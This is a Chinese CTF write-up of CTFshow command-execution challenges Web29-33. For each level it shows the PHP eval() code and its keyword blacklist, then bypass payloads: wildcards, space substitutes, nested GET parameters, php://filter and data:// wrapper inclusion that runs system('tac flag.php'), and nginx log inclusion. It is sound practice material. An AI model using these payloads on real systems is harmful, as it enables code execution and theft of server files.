CTFshow系列——命令执行Web29-33

发布于:2025-07-25 ⋅ 阅读:(14) ⋅ 点赞:(0)

提示:本系列仅当作本人的练习记录,所以有些题目可能不会很详细。相当于公开的ctf学习笔记。


Web29

进入到页面,可以看到如下代码:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以看出只过滤了flag这个关键词,所以使用命令执行的函数即可:

  • 而命令执行的函数有很多

    • system()
    • passthru()
    • exec()
    • shell_exec()
    • popen()
    • proc_open()
    • pcntl_exec()
    • 反引号` 相当于shell_exec()

所以最简单的payload即为:

https://e63b2215-ee39-43c5-bbad-45ffa1c0c1eb.challenge.ctf.show/?c=system('ls');
# 首先查看有哪些文件

在这里插入图片描述

记得结尾要加; 否则回执行不成功。
随后执行命令即可:

https://e63b2215-ee39-43c5-bbad-45ffa1c0c1eb.challenge.ctf.show/?c=system('cat fla*');

(1)因为输入的flag先转化为小写,然后再进行匹配过滤;
(2)所以不能写flag.php,而是用* 通配符匹配;

在这里插入图片描述

最后查看页面源代码即可;

Web30

还是先查看代码,对照前一关不同处:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以发现不同处就是多了 system|php 的过滤,那么其他不变。
这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示:
在这里插入图片描述

# 可用的payload
?c=echo shell_exec('ls');
?c=echo exec('ls'); # 不显示flag.php
?c=echo `ls`;
?c=passthru('ls');

下面即是flag的payload,大差不差:
在这里插入图片描述

攻击payload:

?c=echo shell_exec('cat fla*');
?c=echo exec('cat fla*');
?c=echo `cat f*`;
?c=passthru("tac fla*");
?c=highlight_file(base64_decode("ZmxhZy5waHA=")); # ZmxhZy5waHA= 解码为 flag.php

Web31

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

不多说,明眼人都看得出来:

(1)cat 用 nl 替代;tac逆序输出;less/more;head;tail;type;
(2)flag 被过滤替代;fl\ag.php | fla* | fla?.php
(3)空格 替代;(%0a %09 %0c %0d ${IFS})替代;
(4)单引号 替代 “ ”

所以查看文件的payload为:
在这里插入图片描述

?c=passthru("ls");
?c=echo%09exec("ls"); # 不显示flag.php
?c=eval($_GET[1]);&1=system("ls"); # 很好的方法,通过构造GET参数
?c=eval("echo `ls`;"); # 等价于system("ls");

在这里插入图片描述

输出flag的payload:

?c=passthru("tac%09fla*");
?c=eval($_GET[1]);&1=system("tac flag.php");
?c=highlight_file(base64_decode("ZmxhZy5waHA="));

关于命令执行函数的解释:
(1)passthru() 直接将命令输出发送到标准输出(如浏览器),不返回内容。 返回命令执行状态码(成功为 0,失败为非 0)。
(2)exec() 将命令输出作为数组返回,每行一个元素。 返回最后一行输出或空字符串(需通过第二个参数获取完整输出)。
(3)system() 输出命令结果到标准输出,并返回最后一行。 返回最后一行输出,同时直接打印全部内容。

Web32(重点不一样方法)

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

从代码可以看到,这里还屏蔽了 单引号反引号echo关键字,分号以及小括号 :

所以可以想到一下思路:

  1. 单引号没了还有 "
  2. 小括号没了还有{}[]

这里我尝试了以下几种方法,发现又不行,然后看了看wp,发现人家是通过php伪协议来进行绕过:
在这里插入图片描述

# 失败案例
passthru{"tac%09fla*"};
echo%09exec{"ls"};

正确的payload:
php伪协议使用(实在没办法绕过了)

# 两种方法:data://和php://
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

?>作用:用来闭合当前页面的<?php,使后面的部分可以正常作为url参数传入a

在这里插入图片描述

解码得到:
在这里插入图片描述


解释一下上面两条语句:

注意:GET[参数] 里的参数只要与后面的&参数相同即可;并且不要加 引号,会被检测过滤。

  • ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
    • 原理
      代码注入点:
      原始代码通过eval($c)执行用户传入的c参数,且过滤了部分关键字(如flag、system、cat等)。
    • 绕过过滤:
      使用include动态包含文件,绕过对system、cat等命令的过滤。
      通过php://filter伪协议读取文件并进行 Base64 编码,避免直接出现flag.php。
      php://filter/convert.base64-encode/resource=flag.php将flag.php的内容编码为 Base64,从而绕过对flag的过滤(编码后为ZmxhZy5waHA)。
    • 执行流程:
      $_GET[a]被替换为php://filter/…,最终执行include ‘php://filter/…’。
      服务器返回flag.php的 Base64 编码内容,攻击者解码即可获取敏感信息。

在这里插入图片描述

  • ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
    • 绕过过滤:
      使用data://伪协议直接执行 PHP 代码,避免出现php扩展名。
      data://text/plain,<?php system("tac flag.php")?>将 PHP 代码作为数据流执行。
      使用system(“tac flag.php”)逆序读取flag.php内容,绕过对cat的过滤。
    • 执行流程:
      $_GET[1]被替换为data://…,最终执行include ‘data://…’。
      服务器执行system(“tac flag.php”),直接返回flag.php的内容。

–(其实还有第三种方法:日志+注入留到下一关在用吧)

Web33(也是重点)

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

通过代码可以看到比上一关过滤了更加多的东西,所以php伪协议在此处也能再次发挥作用


所以也是照猫画虎:

?>作用:用来闭合当前页面的<?php,使后面的部分可以正常作为url参数传入a

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

第二条语句:data://协议

?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

在这里插入图片描述

第三种方法:日志+注入

?c=include$_GET[a]?>&a=/var/log/nginx/access.log

剩下的操作:文章

总结

(1)直接传递PHP代码
当分号没有被过滤时

(2)使用文件包含
当分号被过滤时


网站公告

今日签到

点亮在社区的每一天
去签到